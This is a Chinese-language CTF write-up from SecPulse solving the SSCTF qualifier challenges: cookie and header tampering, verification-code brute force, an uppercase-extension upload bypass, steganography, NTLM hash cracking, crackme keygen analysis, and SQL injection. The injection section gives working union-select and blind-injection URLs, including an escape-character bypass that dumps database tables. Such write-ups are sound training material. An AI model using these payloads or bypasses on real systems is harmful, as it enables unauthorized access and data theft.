经过两天的辛苦角逐 SSCTF线上赛完满结束 前6如下图 恭喜前10的队伍与选手进入决赛 安全脉搏的一支小分队也挺进了前三,前40的都有参与证书颁发哦~ 队友 蓝天白云 的确挺不错 第一个完成CM所有5题 ;之前天枢、BTC、PWD三组比较焦灼,SP隔壁老王和Sigma后来完成逆袭。
感觉四叶草的服务态度比较好,主要是服务器不太给力,下一季的程序肯定会完善很多,尤其在组队和找回密码,提交key和查看AC率方面。
期待接下来的西安线下决赛~各队加油~预祝各队取得好成绩~祝四叶草寻得优秀人才~
下面是writeup ,非职业赛棍,不太会玩~大牛勿喷~CM 队友暂时没时间写 就写了个简单的思路 回头补上~
http://ctf.sobug.com/hack_game/e82b2db876111afd/index.php
话说SP的老王直接拿下了FirstBlood,开启了所有参赛选手的SSCTF的旅程
关注到title为hex and cookie,那么估摸大概考察寻找hex,然后寻找cookie,总之是跟hex和cookie相关的都得留意
把这镶满巧克力的小甜饼图片下载回来 用不着其他团队那样找来找去 直接就可以看到标题和主题上有一长串,猜测为hex
23696E636C7564652066696C653D22386630306232303465393830303939382E70687022
把上面hex去Hackbar hex2char一下得
#include file="8f00b204e9800998.php"
那么就访问一下http://ctf.sobug.com/hack_game/e82b2db876111afd/8f00b204e9800998.php
看到Cookies=U0VjTDB2ZXJAMjAxNA==
Hackbar base64decode一下得
Key : SEcL0ver@2014
右键看源码,发现很熟悉的Js,很多ctf都这样考
<script language="JavaScript" type="text/javascript"> eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d
[c][/c]
=k
[c][/c]
||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k
[c][/c]
){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k
[c][/c]
)}}return p}('1.2="3=0";',4,4,'|document|cookie|check'.split('|'),0,{}))
</script>
于是console一下得"check=0",立马改cookie “check=1”,发现没用
被坑了一会儿 学着图片上男人托着下巴 嘴里默念着“你刚才看见key了吗?你刚才看见key了吗?”
显然没看见 显然是我手拙不够快啊 那从题目列表点进来的时候就Burp一下吧 Repeater一下 Cookie改check=1 然后Go
看到 KEY: seCL0veR1H@CKz0l4
http://ctf.sobug.com/hack_game/f31c5630b00b0131/index.php
查看源码 得注释 <!--referer & code-->
显然这是个注释 不是个坑 才150分 谁会坑你呀
被这描述坑的把seclover那个Wordpress的官网翻了个底朝天
[+]WordPress Version 3.8.4 Failed to get Full Path Disclosure ! [+] Enumerating plugins from passive detection ... No plugins found :( 100% 1---->zu5rttqcxxuopomt 2---->admin
也曾首先搞过referer,不过被Hackbar的referer坑了好久 在Hackbar referer里面不管写http://www.seclover.com还是http://www.seclover.com/
最后结果都是http://www.seclover.com/ ;最后用了Modify Headers插件添加了一下referer
继续来
恭 喜你,你那么聪明,某安全监控部门得到这样一段监控视频,某员工在偷偷摸摸使用Nokia老式手机拍照,完了又发送了一条短信,图像几番放大处理后却仅仅 看到他按键的顺序:{8430539047073256837093526630968}聪明的你能帮帮他们吗?
843 0 539 0 47 0 73256837 0 9352663 0 968 对应就是 the key is seclover welcome you
key:
seclover welcome you
虽然这次比赛是公开的,但是谷歌是检索不到的,为什么你知道吗?
这你在逗我吧,百度能搜到,谷歌搜不到,你真心在逗我;但是至少知道是robots里面限制了谷歌爬虫
http://ctf.sobug.com/hack_game/390532fb5dc7f219/robots.txt User-agent: * Disallow: /S$cL0ver/ Disallow: /include/
添加referer和X-Forwarded-For没啥好说的
key: S2CloveRWelcomE_Y0u
描述太直白了 就是headers里面有个每次刷新都变的password,你把他md5(32,password)然后带上cookie Post一下就可以啦
语言都无所谓啦 py最顺手 简单Poc
# /usr/bin/python # -*- coding: utf-8 -*- import urllib2 import urllib import httplib import hashlib import re url = 'http://ctf.sobug.com/hack_game/f8495eeedb8e92ee/index.php' req=urllib2.Request(url) c = urllib2.urlopen(req).info() p=c['password'] cookie = c['set-cookie'] pp=(hashlib.md5(p).hexdigest()) parameters={ 'password':pp, 'Submit':'确定' } post=urllib.urlencode(parameters) headers = {'Host':'ctf.sobug.com', 'Proxy-Connection':'keep-alive', 'Cache-Control':'max-age=0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Origin':'http://ctf.sobug.com', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36', 'Content-Type':'application/x-www-form-urlencoded', 'Referer':'http://ctf.sobug.com/hack_game/f8495eeedb8e92ee/index.php', 'Cookie':cookie, 'Accept-Encoding':'gzip,deflate', 'Accept-Language':'zh-CN,zh;q=0.8', }; conn = httplib.HTTPConnection("ctf.sobug.com"); conn.request(method="POST",url="/hack_game/f8495eeedb8e92ee/index.php",body=post,headers=headers); response = conn.getresponse(); print re.search('key.*<',response.read()).group(0)[:-1]
你真厉害,那么快的闪躲都被你抓住了,这是你想要的</br>key:b7mIfekXA5lwLq
运行得key
key : b7mIfekXA5lwLq
看到 <title>相信你的直觉</title> 队友说的好 直觉是爆破口令,奶奶的,服务器貌似很不给力,2w+ rdp password爆破下来除了出现几个500服务器错误的外 啥也没爆到。
然后被坑到第二天下午 绞尽脑汁 想 这2个图片跟windows密码机制有啥关系
之前只知道size不一样 也没diff出啥具体不同来 后来 stegdetect 对两张图片进行检测,发现右边的图片用了 outguess 隐藏信息
密钥是admin
root@kali:~/Desktop# apt-get install outguess ...... root@kali:~/Desktop# outguess -k admin -r 20140226214226_r.jpg secpulse.txt Reading 20140226214226_r.jpg.... Extracting usable bits: 10864 bits Steg retrieve: seed: 191, len: 92 root@kali:~/Desktop# cat secpulse.txt ed6c3eb3f56395a1f76ccb47241e3d88:0816f03b51a8ea50bcc7707896c93518 you can guess.what's this?
ed6c3eb3f56395a1f76ccb47241e3d88:0816f03b51a8ea50bcc7707896c93518
大黑阔们一看就知道是NTLM hash 丢https://www.objectif-securite.ch/ophcrack.php
好吧 总算与题目windows密码扯上关系了~~也跟直觉(有经验者直接看出是NTLM,无经验者凭直觉?)扯上关系了
key : wangke1234
也就没啥好说的了 登陆需要验证码的 无法爆破 那就忘记密码吧 关注到源码里面 <title>逻辑漏洞2</title>
四位验证码已发送至你手机?那目测就是4位纯数字了 可以快速爆破 服务器不给力 出现好多500混淆视听
爆破得4位验证码是7244
提示password是 ad0mIn提交得flag{4297f44b13955235245b2497399d7a92}
那么key : 4297f44b13955235245b2497399d7a92
我会告诉你下载回来的UP_BOOT.img可以直接rar么
虚拟机里面运行1.exe释放出隐藏属性的test.txt文件 autorun.inf里面说了把test.txt字符去16位小写md5
key : a4620ba0298017b2
关注到title为 摩斯&language 把语言Accept-Language改成EN
你看见电报了吗?找到电报解码后,取16位MD5值作为key
—··— ·· ·— —·/··· · —·—· ·—·· ——— ···— · ·—·/·—— · ·—·· —·—· ——— —— ·/—·—— ——— ··—/·—— ·/·— ·—· ·/···— · ·—· —·——/···· ·— ·——· ·——· —·——/··—· ——— ·—·/—·—— ——— ··—/
对着摩斯码表或者找个工具就翻译出来了:xian seclover welcome you we are very happy for you
取16位MD5值作为key
key : 80af6eac1fd2d165
http://ctf.sobug.com/hack_game/f9abf127da5264c1/index.php?id=1
先直接丢到SqlMap里面 能出database名称ctf0web 表一直暴不出来 加上猜测的前缀也没成功
那就要手工绕过了 队友用and换成&& 用ascii一位一位的爆出来
http://ctf.sobug.com/hack_game/f9abf127da5264c1/?id=1%20%26%26/**/ascii(substring(flag,1,1))%3E107
赛后了解到其他小伙伴用Selec%00t代替select绕过的
http://lab.seclover.com/hack_game/f9abf127da5264c1/index.php?id=1%20union%20sele%00ct% 201,flag,3%20from%20helloctf
思路不错
key : 5e1325ba32f012c77f02c422251c3b7c
换各种各种的后缀 各种改Content-Type测试 貌似都没成功 各种错误提示
最后依靠大写后缀名绕过
filename="1.PHP"
Content-Type: image/jpeg
The key is : KunSecLover2@14
看到SQL 那肯定是注入了 资深安全工程师敏锐的嗅觉 直接搜索形注入
顺便也跑了一下结构 怕被猫腻了
http://ctf.sobug.com/hack_game/8f0784928387928a/admin/index.php http://ctf.sobug.com/hack_game/8f0784928387928a/config.php http://ctf.sobug.com/hack_game/8f0784928387928a/content/ http://ctf.sobug.com/hack_game/8f0784928387928a/search.php
http://ctf.sobug.com/hack_game/8f0784928387928a/search.php?word=secpulse&tongpeifu=*&sqltongpei=%25
搜索得知是ecshop曾经爆出的一个漏洞。
相当于执行了语句Str_replace($tongpeifu,$sqltongpei,$word),即将word中tongpeifu代表位置用sqltongpei替换。
' =>\' "=>\" \ => \\ %00 =>\0
那么怎样进行替换,才会使单引号逃逸出来?
\\\0\’ or 1=1#
然后再经过通配符转换变成:
\\\\’ or 1=1#
不多说 直接上sql语句
查数据库 http://ctf.sobug.com/hack_game/8f0784928387928a/search.php?word=secpulse\%00' union select 1,schema_name,3,4 from information_schema.schemata where 1 %23&tongpeifu=\0&sqltongpei=\ information_schema sql_seclover 查表 http://ctf.sobug.com//hack_game/8f0784928387928a/search.php?word=secpulse\%00' union select 1,table_name,3,4 from information_schema.tables where table_schema=0x73716C5F7365636C6F766572 %23&tongpeifu=\0&sqltongpei=\ admin content secret 查字段 http://ctf.sobug.com/hack_game/8f0784928387928a/search.php?word=secpulse\%00' union select 1,column_name,3,4 from information_schema.columns where table_name=0x736563726574 %23&tongpeifu=\0&sqltongpei=\ sid skey 查key http://ctf.sobug.com/hack_game/8f0784928387928a/search.php?word=secpulse\%00' union select 1,skey,3,4 from secret%23&tongpeifu=\0&sqltongpei=\ 祝贺你,你还真厉害。key又被你拿到,这只是个小小的监测,我们在四叶草欢迎你!! key{Seclover W@1C0me ^u0}
key Seclover W@1C0me ^u0
http://ctf.sobug.com/crackme/b4dc971ef90cb6ae/CrackMe1.rar
算法很简单,就是对用户名进行异或 这段是要异或的数据
http://ctf.sobug.com/crackme/82a7d5ac894e5bb8/CrackMe2.rar
逆向分析,查水表
http://ctf.sobug.com/crackme/e26cac7bac3f78c1/CrackMe3.rar
输入正确的密码,会释放出文件。key就在文件中。 tips:第一层密码为6为纯数字,第二层密码也是6位。
http://ctf.sobug.com/crackme/820af53738bfa68e/CrackMe4.rar
逆向分析提交报告
http://ctf.sobug.com/crackme/02de861ff6b52930/CrackMe5.rar
可用的注册码
user: SecPulse_oldwan
key : 679763
分析过程:
在异常这里记录EDX, 如果EDX指向的地址是CC则继续,否则则记录相关指令
00401416 8996 B8000000 mov dword ptr [esi+0xB8], edx ; CrackMe.00401654
记录完后大概如下
用户名计算
00401947 . 0FBE50 FE movsx edx, byte ptr [eax-0x2]
0040194B . 48 dec eax
0040194C . 03DA add ebx, edx
00401994 . 8D149B lea edx, dword ptr [ebx+ebx*4]
00401997 . 8D14D3 lea edx, dword ptr [ebx+edx*8]
0040199A . 8D1C52 lea ebx, dword ptr [edx+edx*2]
004019E4 . 8818 mov byte ptr [eax], bl
00401A22 . 81F3 3A45AC14 xor ebx, 0x14A**53A
00401A66 . 0018 add byte ptr [eax], bl
00401AA1 . 8D1401 lea edx, dword ptr [ecx+eax]
00401AA4 . 85D2 test edx, edx
00401AA6 .^ 0F8F 52FEFFFF jg 004018FE
00401B96 . 0FBE50 FE movsx edx, byte ptr [eax-0x2]
00401B9A . 48 dec eax
00401B9B . 03DA add ebx, edx
00401BD6 . 8D149B lea edx, dword ptr [ebx+ebx*4]
00401BD9 . 8D14D3 lea edx, dword ptr [ebx+edx*8]
00401BDC . 8D1C52 lea ebx, dword ptr [edx+edx*2]
00401C2F . 8818 mov byte ptr [eax], bl
00401C6C . 81E3 46A554A4 and ebx, 0xA454A546
00401CAE . 0018 add byte ptr [eax], bl
00401CF8 . 8D1408 lea edx, dword ptr [eax+ecx]
00401CFB . 85D2 test edx, edx
00401CFD .^ 0F8F 41FEFFFF jg 00401B44
00401DDC . 0FBE50 FE movsx edx, byte ptr [eax-0x2]
00401DE0 . 48 dec eax
00401DE1 . 03DA add ebx, edx
00401E27 . 8D149B lea edx, dword ptr [ebx+ebx*4]
00401E2A . 8D14D3 lea edx, dword ptr [ebx+edx*8]
00401E2D . 8D1C52 lea ebx, dword ptr [edx+edx*2]
00401E75 . 8818 mov byte ptr [eax], bl
00401ECD . 81CB 37214715 or ebx, 0x15472137
00401F0A . 0018 add byte ptr [eax], bl
00401F4E . 8D1408 lea edx, dword ptr [eax+ecx]
00401F51 . 85D2 test edx, edx
00401F53 .^ 0F8F 3BFEFFFF jg 00401D94
00401F9E . 8BC3 mov eax, ebx
00401FA0 . 33D2 xor edx, edx
00401FA2 . B9 1F011500 mov ecx, 0x15011F
00401FA7 . F7F1 div ecx
00401FA9 . 8BDA mov ebx, edx
注册码
004021A6 . 0FBE42 FE movsx eax, byte ptr [edx-0x2]
004021AA . 4A dec edx
004021AB . 8D0C89 lea ecx, dword ptr [ecx+ecx*4]
004021AE . 8D4**8 D0 lea ecx, dword ptr [eax+ecx*2-0x30]
004021F9 . 880A mov byte ptr [edx], cl
00402245 . 8D0432 lea eax, dword ptr [edx+esi]
00402248 . 85C0 test eax, eax
0040224A .^ 0F8F CAFEFFFF jg 0040211A
比较结果
00402290 3BD9 cmp ebx, ecx
00402292 75 17 jnz short 004022AB
00402294 6A 00 push 0x0 ; (initial cpu selection)
00402296 6A 00 push 0x0
00402298 68 20404000 push 00404020 ; 注册成功!
0040229D 8BCF mov ecx, edi
0040229F E8 14040000 call <jmp.&MF**2.#4224>
004022A4 5F pop edi
004022A5 5E pop esi
004022A6 5B pop ebx
004022A7 8BE5 mov esp, ebp
004022A9 5D pop ebp
可以看出是从后向前取取10进制的数,用户名SecPulse_oldwan
计算的结果是0x00059D68,10进制就是367976, 反过来就是679763
本文作者:secbaba
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/1754.html
来学习了 祝决赛取得好成绩
这种级别的 sql 注入, 也只有垃圾码农才能写出来。 你去搞搞 淘宝或 亚马逊的sql注入看看